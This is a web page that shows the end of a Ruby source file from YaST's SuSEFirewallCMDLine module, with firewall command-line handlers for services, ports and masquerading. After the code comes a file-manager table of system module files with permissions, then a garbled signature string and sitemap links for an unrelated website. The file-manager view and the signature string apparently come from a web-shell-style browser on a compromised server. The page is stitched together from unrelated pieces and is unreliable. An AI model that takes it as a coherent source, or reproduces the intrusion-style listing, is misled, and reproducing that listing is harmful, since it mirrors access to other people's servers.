        end
      end

      if action == "add"
        SuSEFirewall.SetServicesForZones(services, [zone], true)
      else
        SuSEFirewall.SetServicesForZones(services, [zone], false)
      end

      nil
    end

    # Adds/removes ports to/from zone.
    #
    # @param [String] action ("add" or "remove")
    # @param [String] zone
    # @param [Array<String>] ports_or_protocols
    # @param [String] type
    def FWCMDServicesAdditionalPortsManagement(action, zone, ports_or_protocols, type)
      ports_or_protocols = deep_copy(ports_or_protocols)
      types = {
        "tcpport"    => "TCP",
        "udpport"    => "UDP",
        "rpcport"    => "RPC",
        "ipprotocol" => "IP"
      }
      protocol = Ops.get(types, type)

      if protocol != nil
        current = SuSEFirewall.GetAdditionalServices(protocol, zone)
        if action == "add"
          current = Convert.convert(
            Builtins.union(current, ports_or_protocols),
            :from => "list",
            :to   => "list <string>"
          )
        else
          current = Builtins.filter(current) do |check_item|
            !Builtins.contains(ports_or_protocols, check_item)
          end
        end
        SuSEFirewall.SetAdditionalServices(protocol, zone, current)
      else
        Builtins.y2error("Software error %1", type)
      end

      nil
    end

    # Sets protect-from value
    #
    # @param [String] zone (only "INT" is supported)
    # @param [String] protect "yes" or "no"
    def FWCMDServicesProtect(zone, protect)
      protect = Builtins.tolower(protect)
      if !Builtins.contains(["yes", "no"], protect)
        # TRANSLATORS: CommandLine error message, %1 is an option value, %2 is an option name
        CommandLine.Error(
          Builtins.sformat(
            _("Value %1 is not allowed for option %2."),
            protect,
            "protect"
          )
        )
        return nil
      end
      # Only Protect from Internal is supported
      if zone != "INT"
        # TRANSLATORS: CommandLine error message
        CommandLine.Error(_("Protection can only be set for internal zones."))
        return nil
      end
      SuSEFirewall.SetProtectFromInternalZone(protect == "yes")

      nil
    end

    # Overall handler function for services
    #
    # @param [Hash] options
    # @return [Boolean] whether write call is needed
    def FWCMDServices(options)
      options = deep_copy(options)
      # listing all known defined services
      if Ops.get(options, "list") != nil
        FWCMDServicesList()
        return false
      elsif Ops.get(options, "show") != nil
        known_zones = SuSEFirewall.GetKnownFirewallZones
        for_zone = Ops.get_string(options, "zone")
        if for_zone != nil
          if !CheckZone(for_zone, true)
            return false
          else
            known_zones = [for_zone]
          end
        end
        FWCMDServicesShow(known_zones, Ops.get(options, "detailed") != nil)
        return false
      elsif Ops.get(options, "add") != nil && Ops.get(options, "remove") != nil
        # TRANSLATORS: CommandLine error message
        CommandLine.Error(_("Only one action command is allowed here."))
      elsif Ops.get(options, "add") != nil || Ops.get(options, "remove") != nil
        zone = Ops.get_string(options, "zone", "")
        return false if !CheckZone(zone, false)

        # add o remove
        action = "add"
        action = "remove" if Ops.get(options, "remove") != nil

        count_entries = 0
        Builtins.foreach(
          ["service", "tcpport", "udpport", "rpcport", "ipprotocol"]
        ) do |type|
          items = CommaSeparatedList(Ops.get_string(options, type, ""))
          if Ops.greater_than(Builtins.size(items), 0)
            count_entries = Ops.add(count_entries, 1)
            if type == "service"
              FWCMDServicesDefinedServicesManagement(action, zone, items)
            else
              FWCMDServicesAdditionalPortsManagement(action, zone, items, type)
            end
          end
        end

        # checking if any action was set along with an action command
        if count_entries == 0
          CommandLine.Error(
            Builtins.sformat(
              # TRANSLATORS: CommandLine error message, %1 is a list of possible entries (without translation)
              _("At least one of %1 must be set."),
              "service, tcpport, udpport, rpcport, protocol"
            )
          )
        end
        return true
      elsif Ops.get(options, "protect") != nil
        zone = Ops.get_string(options, "zone", "")
        return false if !CheckZone(zone, false)

        FWCMDServicesProtect(zone, Ops.get_string(options, "protect"))
      else
        CommandLine.Error(
          Builtins.sformat(
            # TRANSLATORS: CommandLine error message, %1 is a list of possible action commands
            _("At least one action command from %1 must be set."),
            "list, show, add, remove"
          )
        )
      end

      nil
    end

    # Prints the table of the current redirect-to-masquerade rules
    #
    # @param [Hash] options
    def FWCMDMasqRedirectShow(options)
      options = deep_copy(options)
      CommandLine.Print("")
      # TRANSLATORS: CommandLine header
      CommandLine.Print(
        String.UnderlinedHeader(_("Redirect Requests to Masqueraded IP:"), 0)
      )
      CommandLine.Print("")

      table_items = []
      records = SuSEFirewall.GetListOfForwardsIntoMasquerade
      counter = 0
      Builtins.foreach(records) do |record|
        counter = Ops.add(counter, 1)
        # if redirect_to_port is not defined, use the same as requested_port
        if Ops.get(record, "to_port", "") == "" ||
            Ops.get(record, "to_port", "") == nil
          Ops.set(record, "to_port", Ops.get(record, "req_port", ""))
        end
        # using port names instead of port numbers
        if Ops.get(options, "names") != nil
          Builtins.foreach(["to_port", "req_port"]) do |key|
            port_name = GetPortName(Ops.get(record, key, ""))
            Ops.set(record, key, port_name) if port_name != nil
          end
        end
        table_items = Builtins.add(
          table_items,
          [
            Builtins.tostring(counter),
            Ops.get(record, "source_net", ""),
            Ops.get(record, "protocol", ""),
            Ops.get(record, "req_ip", ""),
            Ops.get(record, "req_port", ""),
            Ops.get(record, "forward_to", ""),
            Ops.get(record, "to_port", "")
          ]
        )
      end
      CommandLine.Print(
        String.TextTable(
          [
            # TRANSLATORS: CommandLine table header item
            _("ID"),
            # TRANSLATORS: CommandLine table header item
            _("Source Network"),
            # TRANSLATORS: CommandLine table header item
            _("Protocol"),
            # TRANSLATORS: CommandLine table header item, Req.=Requested
            _("Req. IP"),
            # TRANSLATORS: CommandLine table header item, Req.=Requested
            _("Req. Port"),
            # TRANSLATORS: CommandLine table header item, Redir.=Redirect
            _("Redir. to IP"),
            # TRANSLATORS: CommandLine table header item, Redir.=Redirect
            _("Redir. to Port")
          ],
          table_items,
          {}
        )
      )
      CommandLine.Print("")

      nil
    end

    # Overall handler for redirect to masqueraded network
    #
    # @param [Hash] options
    # @return [Boolean] whether write call is needed
    def FWCMDMasqRedirect(options)
      options = deep_copy(options)
      if Ops.get(options, "show") != nil
        FWCMDMasqRedirectShow(options)
        return false
      elsif Ops.get(options, "add") != nil
        # checking existency
        checked = true
        Builtins.foreach(["sourcenet", "protocol", "req_port", "redir_ip"]) do |option|
          if Ops.get(options, option) == nil
            # TRANSLATORS: CommandLine error, %1 is needed parameter name
            CommandLine.Error(
              Builtins.sformat(_("Parameter %1 must be set."), option)
            )
            checked = false
          end
        end
        return false if !checked

        # filling strings
        new = {}
        Builtins.foreach(
          [
            "sourcenet",
            "protocol",
            "req_port",
            "redir_ip",
            "req_ip",
            "redir_port"
          ]
        ) { |option| Ops.set(new, option, Ops.get_string(options, option, "")) }

        # checking format
        Ops.set(new, "protocol", Builtins.tolower(Ops.get(new, "protocol", "")))
        if !Builtins.contains(["tcp", "udp"], Ops.get(new, "protocol", ""))
          # TRANSLATORS: CommandLine error message, %1 is an option value, %2 is an option name
          CommandLine.Error(
            Builtins.sformat(
              _("Value %1 is not allowed for option %2."),
              Ops.get(new, "protocol", ""),
              "protocol"
            )
          )
          return false
        end

        # checking port names (if known)
        port_errors = ""
        Builtins.foreach(["req_port", "redir_port"]) do |key|
          if Ops.get(new, key) != nil
            port_number = Builtins.tostring(
              GetPortNumber(Ops.get(new, key, ""))
            )
            if port_number != nil
              # internally using port numbers instead port names
              Ops.set(new, key, port_number)
            else
              port_errors = Ops.add(
                Ops.add(port_errors, port_errors != "" ? "\n" : ""),
                # TRANSLATORS: CommandLine error message, %1 is a port name
                Builtins.sformat(
                  _("Unknown port name %1."),
                  Ops.get(new, key, "")
                )
              )
            end
          end
        end
        # there were some errors in port names
        if port_errors != ""
          CommandLine.Error(port_errors)
          return false
        end

        SuSEFirewall.AddForwardIntoMasqueradeRule(
          Ops.get(new, "sourcenet", ""),
          Ops.get(new, "redir_ip", ""),
          Ops.get(new, "protocol", ""),
          Ops.get(new, "req_port", ""),
          Ops.get(new, "redir_port", ""),
          Ops.get(new, "req_ip", "")
        )
        return true
      elsif Ops.get(options, "remove") != nil
        if Ops.get(options, "record") == nil
          # TRANSLATORS: CommandLine error, %1 is needed parameter name
          CommandLine.Error(
            Builtins.sformat(_("Parameter %1 must be set."), "record")
          )
          return false
        end
        record = Ops.get_integer(options, "record", 0)
        # records are printed 1-n but internally are 0-(n-1)
        record = Ops.subtract(record, 1)
        SuSEFirewall.RemoveForwardIntoMasqueradeRule(record)
        return true
      end

      nil
    end

    # Overall masquerade-related handler
    #
    # @param [Hash] options
    # @return [Boolean] whether write call is needed
    def FWCMDMasquerade(options)
      options = deep_copy(options)
      zone = nil
      if firewalld?
        if options["zone"]
          zone = options["zone"].downcase
          if !SuSEFirewall.IsKnownZone(zone)
            # TRANSLATORS: CommandLine error, %1 is zone
            CommandLine.Error(Builtins.sformat(_("Unknown zone %1."), zone))
            return false
          end
        else
          # TRANSLATORS: CommandLine error
          CommandLine.Error("Mandatory 'zone' parameter is missing")
          return false
        end
      end

      if Ops.get(options, "show") != nil
        CommandLine.Print("")
        # TRANSLATORS: CommandLine header
        CommandLine.Print(
          String.UnderlinedHeader(_("Masquerading Settings:"), 0)
        )
        CommandLine.Print("")

       # TRANSLATORS: CommandLine informative text, either "everywhere" or
       # "in the %1 zone" where %1 is zone name.
       zone_msg = zone == nil ? _("everywhere") :
         Builtins.sformat(_("in the %1 zone"), zone)

        CommandLine.Print(
          Builtins.sformat(
            # TRANSLATORS: CommandLine informative text, %1 is "enabled" or "disabled"
            # %2 is previously mentioned zone_msg
            _("Masquerading is %1 %2"),
            SuSEFirewall.GetMasquerade(zone) == true ?
              # TRANSLATORS: CommandLine masquerade status
              _("enabled") :
              # TRANSLATORS: CommandLine masquerade status
              _("disabled"), zone_msg
          )
        )
        CommandLine.Print("")
        return false
      elsif Ops.get(options, "enable") != nil
        SuSEFirewall.SetMasquerade(true, zone)
      elsif Ops.get(options, "disable") != nil
        SuSEFirewall.SetMasquerade(false, zone)
      end

      nil
    end

    # Overall firewall manual enabling handler
    #
    # @param [Hash] options   ignored (no special options)
    # @return [Boolean]      whether write call is needed
    def FWCMDEnable(options)
      options = deep_copy(options)
      SuSEFirewall.SetStartService(true)
      SuSEFirewall.StartServices
    end

    # Overall firewall manual disabling handler
    #
    # @param [Hash] options   ignored (no special options)
    # @return [Boolean]      whether write call is needed
    def FWCMDDisable(options)
      options = deep_copy(options)
      SuSEFirewall.SetStartService(false)
      SuSEFirewall.StartServices
    end

    # Runs the commandline interface for firewall
    def Run
      # variable from SuSEFirewallUI
      SuSEFirewallUI.simple_text_output = true

      Builtins.y2milestone("----------------------------------------")
      Builtins.y2milestone(
        Builtins.sformat("Starting CommandLine with parameters %1", WFM.Args)
      )
      SummaryInitCommandLine()
      CommandLine.Run(@cmdline)
      Builtins.y2milestone("----------------------------------------")

      nil
    end

  private
    # Returns true if FirewallD is the running backend
    def firewalld?
      SuSEFirewall.is_a?(Yast::SuSEFirewalldClass)
    end

    def ConfigureFirewalld
      return unless firewalld?

      # Actions not supported by FirewallD
      firewalld_disabled = ["broadcast", "masqredirect"]

      firewalld_disabled.each do |opt|
        @cmdline["actions"].delete(opt)
        @cmdline["mappings"].delete(opt)
      end

      @cmdline["actions"]["masquerade"]["example"] << "masquerade zone=public enable"
      @cmdline["mappings"]["masquerade"] <<  "zone"

      # protection from internal zone does not apply to FirewallD
      @cmdline["actions"]["services"]["example"] = [
        "services show detailed",
        "services add service=service:dhcp-server zone=EXT",
        "services remove ipprotocol=esp tcpport=12,13,ipp zone=DMZ"
      ]
      # Remove unsupported options for FirewallD
      @cmdline["mappings"]["services"].delete("rpcport")
      @cmdline["mappings"]["services"].delete("protect")

    end

    publish :function => :Run, :type => "void ()"
  end

  SuSEFirewallCMDLine = SuSEFirewallCMDLineClass.new
  SuSEFirewallCMDLine.main
end

Filemanager

Name Type Size Permission Actions
YaPI Folder 0755
YaST Folder 0755
ALog.rb File 3.26 KB 0644
AddOnProduct.rb File 78.59 KB 0644
Address.rb File 3.45 KB 0644
Arch.rb File 15.59 KB 0644
AsciiFile.rb File 12.59 KB 0644
Assert.rb File 2.06 KB 0644
AuditLaf.rb File 21.16 KB 0644
AuthServer.pm File 172.86 KB 0644
AutoInstall.rb File 11.34 KB 0644
AutoInstallRules.rb File 36.37 KB 0644
AutoinstClass.rb File 7.62 KB 0644
AutoinstClone.rb File 6.82 KB 0644
AutoinstCommon.rb File 3.18 KB 0644
AutoinstConfig.rb File 17.86 KB 0644
AutoinstData.rb File 2.37 KB 0644
AutoinstDrive.rb File 14.28 KB 0644
AutoinstFile.rb File 9.3 KB 0644
AutoinstFunctions.rb File 1.1 KB 0644
AutoinstGeneral.rb File 17.48 KB 0644
AutoinstImage.rb File 1.75 KB 0644
AutoinstLVM.rb File 21.58 KB 0644
AutoinstPartPlan.rb File 36.37 KB 0644
AutoinstPartition.rb File 14.53 KB 0644
AutoinstRAID.rb File 7.73 KB 0644
AutoinstScripts.rb File 36.75 KB 0644
AutoinstSoftware.rb File 38.57 KB 0644
AutoinstStorage.rb File 48.62 KB 0644
Autologin.rb File 4.82 KB 0644
BootArch.rb File 3.37 KB 0644
BootStorage.rb File 10.15 KB 0644
BootSupportCheck.rb File 7.36 KB 0644
Bootloader.rb File 15.87 KB 0644
CWM.rb File 39.16 KB 0644
CWMFirewallInterfaces.rb File 38.92 KB 0644
CWMServiceStart.rb File 27.49 KB 0644
CWMTab.rb File 13.2 KB 0644
CWMTable.rb File 14.57 KB 0644
CWMTsigKeys.rb File 24.93 KB 0644
CaMgm.rb File 12.9 KB 0644
Call.rb File 1.53 KB 0644
CheckMedia.rb File 6.1 KB 0644
CommandLine.rb File 52.89 KB 0644
Confirm.rb File 6.95 KB 0644
Console.rb File 8.63 KB 0644
ContextMenu.rb File 1.4 KB 0644
Crash.rb File 5.26 KB 0644
Cron.rb File 2.85 KB 0644
CustomDialogs.rb File 2.52 KB 0644
DNS.rb File 23.77 KB 0644
DebugHooks.rb File 4.89 KB 0644
DefaultDesktop.rb File 13.29 KB 0644
Desktop.rb File 12.5 KB 0644
DevicesSelectionBox.rb File 5.67 KB 0644
DhcpServer.pm File 70.43 KB 0644
DhcpServerUI.rb File 10.43 KB 0644
DialogTree.rb File 11.76 KB 0644
Directory.rb File 4.99 KB 0644
Distro.rb File 2.29 KB 0644
DnsData.pm File 1.65 KB 0644
DnsFakeTabs.rb File 751 B 0644
DnsRoutines.pm File 2.81 KB 0644
DnsServer.pm File 57.26 KB 0644
DnsServerAPI.pm File 68.81 KB 0644
DnsServerHelperFunctions.rb File 11.83 KB 0644
DnsServerUI.rb File 3.78 KB 0644
DnsTsigKeys.pm File 2.53 KB 0644
DnsZones.pm File 22.9 KB 0644
DontShowAgain.rb File 13.03 KB 0644
DualMultiSelectionBox.rb File 24.91 KB 0644
Encoding.rb File 4.54 KB 0644
Event.rb File 4.89 KB 0644
FTP.rb File 2.32 KB 0644
FileChanges.rb File 9.39 KB 0644
FileSystems.rb File 69.86 KB 0644
FileUtils.rb File 17.64 KB 0644
FtpServer.rb File 36.4 KB 0644
GPG.rb File 13.58 KB 0644
GPGWidgets.rb File 12.34 KB 0644
GetInstArgs.rb File 4.04 KB 0644
Greasemonkey.rb File 6.86 KB 0644
HTML.rb File 6.11 KB 0644
HTTP.rb File 3.37 KB 0644
HWConfig.rb File 5.1 KB 0644
Hooks.rb File 5.76 KB 0644
Host.rb File 10.78 KB 0644
Hostname.rb File 7.35 KB 0644
Hotplug.rb File 5.64 KB 0644
HttpServer.rb File 26.81 KB 0644
HttpServerWidgets.rb File 120.87 KB 0644
HwStatus.rb File 3.08 KB 0644
IP.rb File 12.65 KB 0644
IPSecConf.rb File 22.58 KB 0644
Icon.rb File 5.43 KB 0644
ImageInstallation.rb File 49.56 KB 0644
Inetd.rb File 28.29 KB 0644
Initrd.rb File 16.41 KB 0644
InstData.rb File 4.13 KB 0644
InstError.rb File 6.95 KB 0644
InstExtensionImage.rb File 15.48 KB 0644
InstFunctions.rb File 5.12 KB 0644
InstShowInfo.rb File 2.81 KB 0644
InstURL.rb File 6.06 KB 0644
Installation.rb File 10.29 KB 0644
Instserver.rb File 43.86 KB 0644
Integer.rb File 2.99 KB 0644
Internet.rb File 9.29 KB 0644
IscsiClient.rb File 9.74 KB 0644
IscsiClientLib.rb File 55.9 KB 0644
IsnsServer.rb File 11.07 KB 0644
Kdump.rb File 38.8 KB 0644
Kerberos.rb File 37.03 KB 0644
Kernel.rb File 22.96 KB 0644
KeyManager.rb File 8.47 KB 0644
Keyboard.rb File 50.48 KB 0644
Kickstart.rb File 23.84 KB 0644
Label.rb File 9.11 KB 0644
Lan.rb File 32.38 KB 0644
LanItems.rb File 94.36 KB 0644
Language.rb File 45.33 KB 0644
Ldap.rb File 63.96 KB 0644
LdapDatabase.rb File 77.2 KB 0644
LdapPopup.rb File 21.03 KB 0644
LdapServerAccess.pm File 8.73 KB 0644
Linuxrc.rb File 7.53 KB 0644
LogView.rb File 21.39 KB 0644
LogViewCore.rb File 6.32 KB 0644
Mail.rb File 43.92 KB 0644
MailAliases.rb File 6.88 KB 0644
MailTable.pm File 3.25 KB 0644
MailTableInclude.pm File 4.79 KB 0644
Map.rb File 4.27 KB 0644
Message.rb File 11.39 KB 0644
MiniWorkflow.rb File 2.88 KB 0644
Misc.rb File 11.8 KB 0644
Mode.rb File 10.76 KB 0644
ModuleLoading.rb File 9.26 KB 0644
ModulesConf.rb File 4.24 KB 0644
Mtab.rb File 1.24 KB 0644
NetHwDetection.rb File 8.46 KB 0644
Netmask.rb File 5.08 KB 0644
Network.rb File 1.3 KB 0644
NetworkConfig.rb File 5.9 KB 0644
NetworkInterfaces.rb File 56.49 KB 0644
NetworkPopup.rb File 7.86 KB 0644
NetworkService.rb File 12.71 KB 0644
NetworkStorage.rb File 1.91 KB 0644
Nfs.rb File 22.35 KB 0644
NfsOptions.rb File 5.63 KB 0644
NfsServer.rb File 10.64 KB 0644
Nis.rb File 42.75 KB 0644
NisServer.rb File 39.93 KB 0644
Nsswitch.rb File 3.6 KB 0644
NtpClient.rb File 46.6 KB 0644
OSRelease.rb File 3.68 KB 0644
OneClickInstall.rb File 28.86 KB 0644
OneClickInstallStandard.rb File 4.35 KB 0644
OneClickInstallWidgets.rb File 16.54 KB 0644
OneClickInstallWorkerFunctions.rb File 10.6 KB 0644
OneClickInstallWorkerResponse.rb File 5.63 KB 0644
OnlineUpdate.rb File 4.04 KB 0644
OnlineUpdateCallbacks.rb File 19.62 KB 0644
OnlineUpdateDialogs.rb File 16.85 KB 0644
Package.rb File 7.78 KB 0644
PackageAI.rb File 5.03 KB 0644
PackageCallbacks.rb File 87.95 KB 0644
PackageCallbacksInit.rb File 2.12 KB 0644
PackageInstallation.rb File 8.49 KB 0644
PackageKit.rb File 2.67 KB 0644
PackageLock.rb File 6.77 KB 0644
PackageSlideShow.rb File 42.52 KB 0644
PackageSystem.rb File 16.87 KB 0644
Packages.rb File 94.3 KB 0644
PackagesProposal.rb File 11.79 KB 0644
PackagesUI.rb File 24.29 KB 0644
Pam.rb File 3.73 KB 0644
Partitions.rb File 33.23 KB 0644
Popup.rb File 57.78 KB 0644
PortAliases.rb File 10.47 KB 0644
PortRanges.rb File 22.92 KB 0644
Printer.rb File 112.82 KB 0644
Printerlib.rb File 31.82 KB 0644
Product.rb File 8.9 KB 0644
ProductControl.rb File 52.95 KB 0644
ProductFeatures.rb File 12.23 KB 0644
ProductLicense.rb File 50.23 KB 0644
ProductProfile.rb File 8.01 KB 0644
Profile.rb File 29.95 KB 0644
ProfileLocation.rb File 9.45 KB 0644
Progress.rb File 28.17 KB 0644
Proxy.rb File 15.65 KB 0644
Punycode.rb File 11.81 KB 0644
Region.rb File 1.82 KB 0644
RelocationServer.rb File 14.65 KB 0644
Remote.rb File 10.42 KB 0644
Report.rb File 25.13 KB 0644
RichText.rb File 4.01 KB 0644
RootPart.rb File 71.9 KB 0644
Routing.rb File 17.25 KB 0644
SLP.rb File 7.06 KB 0644
SLPAPI.pm File 879 B 0644
SSHAuthorizedKeys.rb File 3.74 KB 0644
SUSERelease.rb File 2.82 KB 0644
Samba.rb File 38.14 KB 0644
SambaAD.pm File 12.46 KB 0644
SambaConfig.pm File 37.4 KB 0644
SambaNetJoin.pm File 13.14 KB 0644
SambaNmbLookup.pm File 6.58 KB 0644
SambaWinbind.pm File 5.33 KB 0644
Security.rb File 27.79 KB 0644
Sequencer.rb File 12.6 KB 0644
Service.rb File 15.66 KB 0644
ServicesProposal.rb File 2.37 KB 0644
SignatureCheckCallbacks.rb File 11.1 KB 0644
SignatureCheckDialogs.rb File 36.74 KB 0644
SlideShow.rb File 33.27 KB 0644
SlideShowCallbacks.rb File 21.04 KB 0644
Slides.rb File 7.56 KB 0644
SlpService.rb File 5.37 KB 0644
Snapper.rb File 16.93 KB 0644
SnapperDbus.rb File 6.73 KB 0644
SourceDialogs.rb File 83.88 KB 0644
SourceManager.rb File 25.54 KB 0644
SourceManagerSLP.rb File 18.66 KB 0644
SpaceCalculation.rb File 35.03 KB 0644
Squid.rb File 51.25 KB 0644
SquidACL.rb File 16.84 KB 0644
SquidErrorMessages.rb File 5.59 KB 0644
Stage.rb File 3.6 KB 0644
Storage.rb File 234.29 KB 0644
StorageClients.rb File 6.68 KB 0644
StorageControllers.rb File 13.47 KB 0644
StorageDevices.rb File 19.86 KB 0644
StorageFields.rb File 45.67 KB 0644
StorageIcons.rb File 3.18 KB 0644
StorageInit.rb File 3.62 KB 0644
StorageProposal.rb File 222.63 KB 0644
StorageSettings.rb File 6.33 KB 0644
StorageSnapper.rb File 3.96 KB 0644
StorageUpdate.rb File 24.13 KB 0644
String.rb File 30.46 KB 0644
SuSEFirewall.rb File 1.29 KB 0644
SuSEFirewall4Network.rb File 12.24 KB 0644
SuSEFirewallCMDLine.rb File 53.73 KB 0644
SuSEFirewallExpertRules.rb File 13.11 KB 0644
SuSEFirewallProposal.rb File 25.99 KB 0644
SuSEFirewallServices.rb File 2.87 KB 0644
SuSEFirewallUI.rb File 2 KB 0644
Sudo.rb File 18.06 KB 0644
Summary.rb File 6.22 KB 0644
Support.rb File 14.83 KB 0644
Sysconfig.rb File 39.21 KB 0644
SystemFilesCopy.rb File 16.27 KB 0644
Systemd.rb File 4.88 KB 0644
TFTP.rb File 2.08 KB 0644
TabPanel.rb File 4.36 KB 0644
TablePopup.rb File 34.41 KB 0644
TftpServer.rb File 10.72 KB 0644
Timezone.rb File 35.64 KB 0644
TreePanel.rb File 5.24 KB 0644
TypeRepository.rb File 5.03 KB 0644
UIHelper.rb File 5.56 KB 0644
URL.rb File 22.61 KB 0644
URLRecode.rb File 1.88 KB 0644
Update.rb File 33.73 KB 0644
UserSettings.rb File 3.41 KB 0644
Users.pm File 193.07 KB 0644
UsersCache.pm File 32.48 KB 0644
UsersLDAP.pm File 51.51 KB 0644
UsersPasswd.pm File 24.75 KB 0644
UsersPluginKerberos.pm File 7.22 KB 0644
UsersPluginLDAPAll.pm File 12.98 KB 0644
UsersPluginLDAPPasswordPolicy.pm File 10.49 KB 0644
UsersPluginLDAPShadowAccount.pm File 11.49 KB 0644
UsersPluginQuota.pm File 12.5 KB 0644
UsersPlugins.pm File 4.73 KB 0644
UsersRoutines.pm File 20.04 KB 0644
UsersSimple.pm File 26.37 KB 0644
UsersUI.rb File 19.49 KB 0644
ValueBrowser.rb File 6.97 KB 0644
Vendor.rb File 6.1 KB 0644
VirtConfig.rb File 22.91 KB 0644
WOL.rb File 4.66 KB 0644
Wizard.rb File 53.13 KB 0644
WizardHW.rb File 18.16 KB 0644
WorkflowManager.rb File 53.17 KB 0644
XML.rb File 6.33 KB 0644
XVersion.rb File 3.7 KB 0644
Y2ModuleConfig.rb File 13.11 KB 0644
YPX.pm File 1.1 KB 0644
YaPI.pm File 5.3 KB 0644
services_manager.rb File 2.41 KB 0644
services_manager_service.rb File 18.04 KB 0644
services_manager_target.rb File 5.04 KB 0644
systemd_service.rb File 6.67 KB 0644
systemd_socket.rb File 3.61 KB 0644
systemd_target.rb File 3.53 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml